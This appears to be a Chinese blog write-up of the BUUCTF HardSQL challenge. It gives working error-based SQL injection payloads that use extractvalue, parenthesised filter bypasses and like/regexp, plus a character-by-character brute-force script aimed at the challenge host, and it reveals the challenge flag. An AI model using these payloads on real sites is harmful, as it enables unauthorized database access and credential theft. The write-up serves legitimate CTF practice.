当前位置: 首页 > news >正文

BUU26 [极客大挑战 2019]HardSQL1

输入一些SQL关键词,发现空格,=,union,and,by都被过滤了

=被过滤,就用like替代 

 

发现登录成功,可以注入

报错注入

注意

1.这里过滤了空格,就用()将内容包裹起来

比如说:select table_name from information_schema.tables

就可以换成:select(table_name)from(information_schema.tables)

2.过滤了=,where(table_name='geek')语句中的 = 就被过滤了,此时可以用 like 代替:

where(table_name)like('geek')

爆库名:

1'or(extractvalue(1,concat(0x7e,(select(database())))))#

爆表名:

1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema

)like('geek')),0x7e)))#

 

爆列名:这里限制条件只用写table_name='H4rDsq1'就行了,因为and被过滤了

这里注意是('H4rDsq1')

1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)

where(table_name)like('H4rDsq1')),0x7e)))#

 爆password:这里就必须写(H4rDsq1)

1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e)))#

但是显示不完整 

发现substr也被过滤了,所以使用right或者regexp

right:

1'or(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e)))#

拼接起来 

regexp:

regexp 是 SQL 中的正则表达式匹配运算符

url地址是直接复制的地址栏的地址,所以存在的都是编码后的字符,其原始语句为:1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)where(password)regexp('^f')),0x7e)))#【筛选出 H4rDsq1 表中 password 字段以 'f' 开头的记录】,可用payload:1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)where(password)regexp('^flag{5e0eabdd-83c3-466f-9e51-bb95d91d23ad}')),0x7e)))#,验证正则匹配方式的正确性,脚本如下:

正则表达式中,^f表示匹配字符串以 f 开头 

import requests  #requests 模块用于发送 HTTP 请求,与目标服务器进行交互。
import time      #time 模块用于添加延迟,避免请求过于频繁导致服务器拒绝。
#去掉了大写字母,可手动加上,ABCDEFGHIJKLMNOPQRSTUVWXYZ
#未写停止判断,当判断到strings最后一位且flag未在其中时停止即可
strings = 'abcdefghijklmnopqrstuvwxyz1234567890{}-_~' #定义了可能出现在 flag 中的字符集
i = 1
flag = ''  #flag 用于存储已经猜测到的部分 flag,初始为空字符串。
while i < 80:for one_char in strings:one_char = flag + one_char#先把已经猜好的和新遍历的字符拼接起来url = "http://4538af48-5b3e-451e-b6bf-565049f2caab.node4.buuoj.cn:81/check.php?username=12&password=1%27or%28extractvalue%281%2Cconcat%280x7e%2C%28select%28password%29from%28H4rDsq1%29where%28password%29regexp%28%27%5E"+str(one_char)+"%27%29%29%2C0x7e%29%29%29%23"#将one_char转换成字符串,以这个新猜的字符串为开头看看能不能匹配上真正的flag#如果能匹配上,它会返回匹配上的flag{xxxxxxxx}#(因为本意是查询有没有符合条件的字符串),所以回显的文本里会有flag字样time.sleep(0.05) #暂停 0.05 秒,避免请求过于频繁。rs = requests.get(url)if 'flag' in rs.text:   #如果响应文本中包含 'flag',说明当前猜测的部分 flag 是正确的,flag = one_charprint("\r", end="") #\r回车print('flag为:' + flag, end='')break

参考:[极客大挑战 2019]HardSQL-1 - upfine - 博客园

 

 

 

相关文章:

BUU26 [极客大挑战 2019]HardSQL1

输入一些SQL关键词&#xff0c;发现空格&#xff0c;&#xff0c;union&#xff0c;and&#xff0c;by都被过滤了 被过滤&#xff0c;就用like替代 发现登录成功&#xff0c;可以注入 报错注入 注意 1.这里过滤了空格&#xff0c;就用()将内容包裹起来 比如说&#xff1a…...

多光谱成像技术在华为Mate70系列的应用

华为Mate70系列搭载了光谱技术的产物——红枫原色摄像头&#xff0c;这是一款150万像素的多光谱摄像头。 相较于普通摄像头&#xff0c;它具有以下优势&#xff1a; 色彩还原度高&#xff1a;色彩还原准确度提升约 120%&#xff0c;能捕捉更多光谱信息&#xff0c;使拍摄照片色…...

借助 Cursor 快速实现小程序前端开发

借助 Cursor 快速实现小程序前端开发 在当今快节奏的互联网时代&#xff0c;小程序因其便捷性、高效性以及无需下载安装的特点&#xff0c;成为众多企业和开发者关注的焦点。然而&#xff0c;小程序的开发往往需要耗费大量的时间和精力&#xff0c;尤其是在前端开发阶段。幸运…...

【deepseek】ollama chatbox webui 本地部署deepseek 踩坑记录

部署 1、前往Ollama官网下载跨平台工具 官网直达&#xff1a;https://ollama.com/download 2、挑选适合自己设备的模型版本&#xff0c;获取运行指令 访问模型库&#xff1a;https://ollama.com/library/deepseek-r1 ▌配置建议&#xff1a; • 入门级&#xff1a;1.5B版本&…...

在离线的服务器上部署Python的安装库

在离线服务器上部署 Python 安装库&#xff08;如 SQLAlchemy、pandas、pyodbc 等&#xff09;&#xff0c;可以使用以下方法&#xff1a; 方法 1&#xff1a;在联网机器上下载依赖&#xff0c;拷贝到离线服务器 适用于&#xff1a;服务器完全无法访问互联网。 步骤 1. 在联网…...

计算机网络笔记再战——理解几个经典的协议2

理解互联网与TCP/IP 下面&#xff0c;我们将会开始理解互联网这个东西&#xff0c;进一步的&#xff0c;我们会理解何为TCP/IP 我们的互联网就是一个巨大的网状结构&#xff0c;需要注意的是——每一个网状的节点之间都是使用一个叫做NOC&#xff0c;Network Operation Center…...

设计高效的测试用例:从需求到验证

在现代软件开发过程中&#xff0c;测试用例的设计一直是质量保证&#xff08;QA&#xff09;环节的核心。有效的测试用例不仅能够帮助发现潜在缺陷&#xff0c;提升软件质量&#xff0c;还能降低后期修复成本&#xff0c;提高开发效率。尽管如此&#xff0c;如何从需求出发&…...

git reset 命令

git reset 的作用 git reset 是一个非常强大的命令&#xff0c;用于将当前分支的 HEAD&#xff08;即当前指向的提交&#xff09;重置到指定的提交。它还可以根据参数的不同&#xff0c;对工作区&#xff08;Working Directory&#xff09;和暂存区&#xff08;Staging Area&a…...

docker被“遗忘”的那些参数该如何拯救

一、docker容器启动时没有指定端口&#xff0c;如何在不删除容器的情况下配置端口呢 在 Docker 中&#xff0c;如果容器启动时没有指定端口映射&#xff0c;可以通过以下步骤在不删除容器的情况下配置端口&#xff1a; 方法 1: 使用 docker commit 和 docker run 提交容器为新…...

BFS算法——广度优先搜索,探索未知的旅程(下)

文章目录 前言一. N叉树的层序遍历1.1 题目链接&#xff1a;https://leetcode.cn/problems/n-ary-tree-level-order-traversal/description/1.2 题目分析&#xff1a;1.3 思路讲解&#xff1a;1.4 代码实现&#xff1a; 二. 二叉树的锯齿形层序遍历2.1 题目链接&#xff1a;htt…...

Python分享20个Excel自动化脚本

在数据处理和分析的过程中&#xff0c;Excel文件是我们日常工作中常见的格式。通过Python&#xff0c;我们可以实现对Excel文件的各种自动化操作&#xff0c;提高工作效率。 本文将分享20个实用的Excel自动化脚本&#xff0c;以帮助新手小白更轻松地掌握这些技能。 1. Excel单…...

pytest+request+yaml+allure 接口自动化测试全解析[手动写的跟AI的对比]

我手动写的:Python3:pytest+request+yaml+allure接口自动化测试_request+pytest+yaml-CSDN博客 AI写的:pytest+request+yaml+allure 接口自动化测试全解析 在当今的软件开发流程中,接口自动化测试扮演着至关重要的角色。它不仅能够提高测试效率,确保接口的稳定性和正确性…...

深入解析 FFmpeg 的 AAC 编解码过程

深入解析 FFmpeg 的 AAC 编解码过程 —— 技术详解与代码实现 AAC(Advanced Audio Coding) 是一种高效的有损音频压缩格式,因其高压缩效率和良好的音质而被广泛应用于流媒体、广播和音频存储等领域。FFmpeg 是一个强大的多媒体处理工具,支持 AAC 的编码和解码。本文将详细…...

嵌入式硬件篇---OpenMV串口通信json字符串

文章目录 前言第一部分:Json字符串通信协议优点缺点 Json优点缺点编码与解码 第二部分:UART串口通信UART常用函数注意 总结 前言 以上就是今天要讲的内容&#xff0c;本文简单介绍了Json字符串、UART串口通信。 第一部分:Json字符串 通信协议 在传统的单片机应用中&#xff…...

Python基于Django的课堂投票系统的设计与实现【附源码】

博主介绍&#xff1a;✌Java老徐、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;&…...

蓝桥杯 Java 之输入输出

一、输入输出方式&#xff1a;Scanner vs BufferedReader Scanner类 简介&#xff1a;Scanner 是 Java 中一个非常方便的用于读取用户输入的类&#xff0c;它可以从多种输入源&#xff08;如标准输入、文件等&#xff09;读取基本数据类型和字符串。 1. Scanner的细节与使用…...

Kubernetes是什么?为什么它是云原生的基石

从“手工时代”到“自动化工厂” 想象一下&#xff0c;你正在经营一家工厂。在传统模式下&#xff0c;每个工人&#xff08;服务器&#xff09;需要手动组装产品&#xff08;应用&#xff09;&#xff0c;效率低下且容易出错。而Kubernetes&#xff08;k8s&#xff09;就像一个…...

@emotion/styled / styled-components创建带有样式的 React 组件

一、安装依赖 npm install emotion/styled styled-components 二、使用 import styled from emotion/styled; import styled from styled-components;// 创建一个带样式的按钮 const StyledButton styled.buttonbackground-color: #4caf50;color: white;padding: 10px 20px…...

Android 常用命令和工具解析之Battery Historian

Batterystats是包含在 Android 框架中的一种工具&#xff0c;用于收集设备上的电池数据。您可以使用adb bugreport命令抓取日志&#xff0c;将收集的电池数据转储到开发机器&#xff0c;并生成可使用 Battery Historian 分析的报告。Battery Historian 会将报告从 Batterystats…...

家用报警器的UML 设计及其在C++和VxWorks 上的实现01

M.W.Richardson 著&#xff0c;liuweiw 译 论文描述了如何运用 UML&#xff08;统一建模语言&#xff09;设计一个简单的家用报警器&#xff0c;并实现到 VxWorks 操作系统上。本文分两个部分&#xff0c;第一部分描述了如何用 UML 设计和验证家用报警器的模型&#xff0c;以使…...

【LeetCode刷题日记】222.极速计算完全二叉树节点数:O(log²n)算法揭秘

&#x1f525;个人主页&#xff1a;北极的代码&#xff08;欢迎来访&#xff09; &#x1f3ac;作者简介&#xff1a;java后端学习者 ❄️个人专栏&#xff1a;苍穹外卖日记&#xff0c;SSM框架深入&#xff0c;JavaWeb ✨命运的结局尽可永在&#xff0c;不屈的挑战却不可须臾或…...

SWMM复杂城市排水系统模型及排水防涝、海绵城市设计等工程实践应用与二次开发

随着计算机的广泛应用和各类模型软件的发展&#xff0c;将排水系统模型作为城市洪灾评价与防治的技术手段已经成为防洪防灾的重要技术途径。美国环保局的雨水管理模型&#xff08;SWMM&#xff09;&#xff0c;是当今世界最为著名的排水系统模型。SWMM能模拟降雨和污染物质经过…...

从AD9288到STM32H750:手把手拆解开源示波器osc_fun的硬件架构与选型思路

从AD9288到STM32H750&#xff1a;开源示波器osc_fun的硬件架构深度解析与工程实践 在开源硬件领域&#xff0c;osc_fun示波器项目以其精巧的架构设计和出色的性价比&#xff0c;成为众多硬件开发者研究的热点。这个看似简单的示波器背后&#xff0c;隐藏着一系列精妙的硬件选型…...

如何快速搭建Sunshine游戏串流服务器:终极自托管指南

如何快速搭建Sunshine游戏串流服务器&#xff1a;终极自托管指南 【免费下载链接】Sunshine Self-hosted game stream host for Moonlight. 项目地址: https://gitcode.com/GitHub_Trending/su/Sunshine 想要在任何设备上畅玩PC游戏吗&#xff1f;Sunshine开源游戏串流服…...

Daptin状态机管理:企业级工作流自动化的核心

Daptin状态机管理&#xff1a;企业级工作流自动化的核心 【免费下载链接】daptin Daptin - Backend As A Service - GraphQL/JSON-API Headless CMS 项目地址: https://gitcode.com/gh_mirrors/da/daptin Daptin作为后端即服务&#xff08;Backend As A Service&#xf…...

Java集成ChatGPT实战:PlexPt SDK核心功能与生产部署指南

1. 项目概述与核心价值如果你是一名Java开发者&#xff0c;最近正琢磨着怎么在自己的应用里集成ChatGPT的能力&#xff0c;比如做个智能客服、代码助手或者内容生成工具&#xff0c;那你大概率已经搜过一圈了。官方的OpenAI API虽然强大&#xff0c;但直接用在Java项目里&#…...

抽水蓄能电站岔管结构智能优化【附模型】

✨ 长期致力于抽水蓄能、球形钢岔管、智能优化、鲸鱼算法、静力分析研究工作&#xff0c;擅长数据搜集与处理、建模仿真、程序编写、仿真设计。 ✅ 专业定制毕设、代码 ✅ 如需沟通交流&#xff0c;点击《获取方式》 &#xff08;1&#xff09;球形钢岔管参数化有限元建模&…...

多物流机器人任务调度与路径规划【附程序】

✨ 长期致力于物流机器人、任务调度、路径规划、沙猫群算法研究工作&#xff0c;擅长数据搜集与处理、建模仿真、程序编写、仿真设计。 ✅ 专业定制毕设、代码 ✅ 如需沟通交流&#xff0c;点击《获取方式》 &#xff08;1&#xff09;栅格-拓扑双层地图建模与任务分配&#xf…...

PET/SPECT医疗影像设备液冷系统核心技术解析

1. PET/SPECT扫描仪的热管理挑战在医疗影像设备领域&#xff0c;正电子发射断层扫描&#xff08;PET&#xff09;和单光子发射计算机断层扫描&#xff08;SPECT&#xff09;作为核医学成像的两种核心技术&#xff0c;其运行过程中产生的热量管理一直是工程设计的核心难题。这类…...

Instructure 向 Canvas 黑客支付赎金,数据虽归还但支付风险引担忧

Instructure 向 Canvas 黑客支付赎金&#xff0c;数据归还但支付风险引担忧 2026 年 5 月 11 日消息&#xff0c;Instructure 已向一群网络犯罪分子支付了赎金。在过去一周半的时间里&#xff0c;这群犯罪分子两次攻击了该公司的学习管理系统 Canvas。 根据这家教育技术公司周一…...